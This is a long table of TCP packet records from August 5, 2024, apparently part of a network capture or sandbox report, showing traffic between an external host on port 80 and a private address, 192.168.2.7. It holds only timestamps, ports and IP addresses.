Aug 5, 2024 12:00:59.827908039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827919960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827930927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827985048 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.828783035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.828794956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.828805923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.828816891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.828862906 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.828862906 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.829646111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.829658031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.829668999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.829704046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.829752922 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.912311077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.016952038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.115252018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.115436077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.115448952 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.115505934 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.116101980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.116112947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.116242886 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.116795063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.116851091 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.117098093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.117109060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.117162943 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.117846012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.117857933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.117866993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.117937088 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.118458986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.118469954 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.118530035 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.119195938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.119208097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.119216919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.119241953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.119311094 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.121599913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.121613026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.121709108 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.121943951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.121956110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.121965885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.122024059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.122795105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.122807026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.122817993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.122833014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.122836113 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.122934103 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.123680115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.123692036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.123729944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.123744965 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.123784065 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.124551058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.124562025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.124572992 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.124686956 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.125369072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.125380039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.125410080 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.204502106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.460591078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.460796118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.460805893 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.460866928 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.461189985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.461200953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.461249113 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.461895943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.461909056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.461961031 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.462600946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.462656975 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.462896109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.462908983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.462973118 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.463637114 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.463649988 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.463659048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.463695049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.464308977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.464318991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.464358091 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.465064049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.465075970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.465086937 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.465111017 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.465137959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.465820074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.465831041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.465873003 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.466567993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.466578960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.466675043 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.467390060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.467401981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.467444897 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.467969894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.467983007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.467993975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.468010902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.468034983 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.468060017 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.468839884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.468852043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.468863010 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.468935013 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.469734907 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.469746113 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.469762087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.469786882 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.469867945 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.470575094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.470586061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.470640898 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.808295012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808346033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808351994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808394909 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.808832884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808845043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808856010 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.808881044 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.808926105 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.809552908 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.809564114 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.809576035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.809622049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.810384989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.810396910 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.810406923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.810425043 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.810452938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.811100006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811136961 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811148882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811184883 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.811796904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811811924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811824083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.811840057 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.811927080 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.812424898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.812494993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.812516928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.812546015 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.813205957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.813219070 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.813230038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.813261032 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.813349962 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.813977003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.813988924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.813998938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.814009905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.814045906 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.814064026 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.814780951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.814791918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.814802885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.814924955 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.815552950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.815567017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.815577030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.815608978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.815623999 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:00.816310883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.816323996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:00.816387892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.113246918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113334894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113358974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113646030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113660097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113675117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.113708019 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.113748074 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.113748074 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.114294052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.114310026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.114324093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.114413023 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.114950895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.114965916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.114989042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115004063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115032911 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.115034103 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.115825891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115839958 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115854025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115866899 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115881920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.115895033 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.115895987 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.115964890 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.116724014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.116739035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.116754055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.116770983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.116786957 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.116900921 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.117639065 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.117652893 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.117666960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.117681026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.117695093 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.118061066 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.118566036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.118581057 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.118593931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.118607998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.118619919 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.118707895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.119553089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.119566917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.119580030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.119592905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.119606972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.119632006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.119715929 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.120619059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.120635033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.120649099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.120661974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.120676041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.120723963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.120723963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.120723963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.121210098 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.121226072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.121556044 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.392962933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393032074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393208981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393238068 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.393304110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393459082 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.393539906 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393554926 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393569946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.393778086 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.394068956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394083977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394098997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394114971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394129038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394139051 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.394195080 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.394195080 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.394980907 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.394995928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395010948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395025015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395039082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395061970 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.395138979 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.395776033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395790100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395804882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395818949 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395834923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.395869970 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.395869970 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.395946026 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.396656990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.396672010 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.396686077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.396701097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.396770000 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.397027969 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.397401094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.397413969 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.397428989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.397443056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.397456884 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.397458076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.397525072 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.398413897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398428917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398443937 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398458004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398472071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398483038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.398483038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.398487091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.398600101 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.399419069 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.399434090 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.399446964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.399461031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.399475098 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.399499893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.399519920 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.399519920 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.400350094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.400356054 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.400419950 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.737134933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737180948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737207890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737426996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737483978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.737637043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737653017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.737715006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.737715006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.738023996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738039017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738053083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738068104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738188028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.738188028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.738750935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738765955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738781929 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.738842010 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.739249945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739263058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739278078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739295959 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739309072 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.739356995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:01.739850998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739865065 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739878893 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:01.739893913 CEST	80	49864	27.221.16.179	192.168.2.7
